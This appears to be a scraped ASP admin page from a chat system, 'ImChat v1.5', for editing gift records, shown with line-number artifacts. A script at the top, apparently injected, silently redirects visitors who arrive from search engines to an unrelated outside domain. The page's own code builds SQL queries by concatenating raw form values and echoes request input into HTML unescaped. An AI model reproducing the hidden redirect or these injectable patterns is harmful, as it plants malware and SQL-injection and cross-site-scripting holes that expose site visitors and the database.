d:\wwwroot\wuchunhua\liaotianim\system_manage\EditGift.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="../inc/md5.asp"-->
003:
<!--#include file="../inc/page.asp"-->
004:
<!--#include file="Check.asp"-->
005:
<%
006:
Dim ConfigRS
007:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
008:
if request.form("Method")="AddGift" then
009:
ConfigRS.OPEN "select * from [XK_Gift] where [ID]="&request.form("GID") , DB_CONN , 1 , 3
010:
ConfigRS("Gift_ID")=request.form("Gift_ID")
011:
ConfigRS("Gift_Name")=request.form("Gift_Name")
012:
ConfigRS("Gift_Price")=request.form("Gift_Price")
013:
ConfigRS("Gift_Top")=request.form("Gift_Top")
014:
ConfigRS("Gift_Sort")=request.form("Gift_Sort")
015:
ConfigRS.update()
016:
for i=0 to (ConfigRS.Fields.count-1)
017:
Application.Lock()
018:
Application.contents("Gift_"+request.form("Gift_ID")+"_"+ConfigRS.Fields(i).Name)=ConfigRS(ConfigRS.Fields(i).Name)
019:
Application.Unlock()
020:
next
021:
Application.Lock()
022:
Application.contents("Gift_All")=""
023:
Application.contents("Gift_Top")=""
024:
Application.Unlock()
025:
ConfigRS.close()
026:
RW "<script>location.href='Gift_Manage.asp?t="&request("t")&"';</script>":response.end()
027:
end if
028:
029:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Gift] where [ID]="&request("Gift_ID"))
030:
031:
%
>
032:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
033:
<html xmlns="http://www.w3.org/1999/xhtml">
034:
<head>
035:
<title>ImChat v1.5 Manage System</title>
036:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
037:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
038:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
039:
<style>
040:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
041:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
042:
</style>
043:
</head>
044:
<body>
045:
<div class="contentcontainer">
046:
<div class="headings alt">
047:
<h2>礼物编辑 <a href="javascript:history.back();" style="text-decoration:none;">返回</a> <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
048:
</div>
049:
<div class="contentbox">
050:
051:
<form action="#" method="post" >
052:
<table class="CB" width="100%" cellpadding="0" cellspacing="0" border="0">
053:
<tr>
054:
<td width="350">
055:
<label for="Gift_ID"><strong>礼物ID:</strong></label>
056:
<input type="text" id="Gift_ID" name="Gift_ID" class="inputbox" value="
<%
=ConfigRS("Gift_ID")
%
>"/>
057:
</td>
058:
<td>
059:
<label for="Gift_Name"><strong>礼物名称:</strong></label>
060:
<input type="text" id="Gift_Name" name="Gift_Name" class="inputbox" value="
<%
=ConfigRS("Gift_Name")
%
>"/>
061:
</td>
062:
</tr>
063:
<tr>
064:
<td>
065:
<label for="Gift_Price"><strong>礼物价格:(0为无限)</strong></label>
066:
<input type="text" id="Gift_Price" name="Gift_Price" class="inputbox" value="
<%
=ConfigRS("Gift_Price")
%
>"/>
067:
</td>
068:
<td width="350">
069:
<label for="Gift_Top"><strong>是否推荐:</strong></label>
070:
<select id="Gift_Top" name="Gift_Top">
071:
<option value="0"
<%
if Cstr(ConfigRS("Gift_Top"))="0" then RW "selected=""selected"""
%
>>否</option>
072:
<option value="1"
<%
if Cstr(ConfigRS("Gift_Top"))="1" then RW "selected=""selected"""
%
>>是</option>
073:
</select>
074:
</td>
075:
</tr>
076:
<tr>
077:
<td colspan="2">
078:
<label for="Gift_Sort"><strong>排序(数字):</strong></label>
079:
<input type="text" id="Gift_Sort" name="Gift_Sort" class="inputbox" value="
<%
=ConfigRS("Gift_Sort")
%
>"/>
080:
</td>
081:
</tr>
082:
<tr>
083:
<td colspan="2">
084:
<input type="hidden" value="
<%
=request("Gift_ID")
%
>" name="GID"/>
085:
<input type="hidden" value="AddGift" name="Method"/>
086:
<input type="submit" value="修改" class="btn" />
087:
</td>
088:
</tr>
089:
</table>
090:
</form>
091:
</div>
092:
</div>
093:
</body>
094:
</html>
095:
096:
097: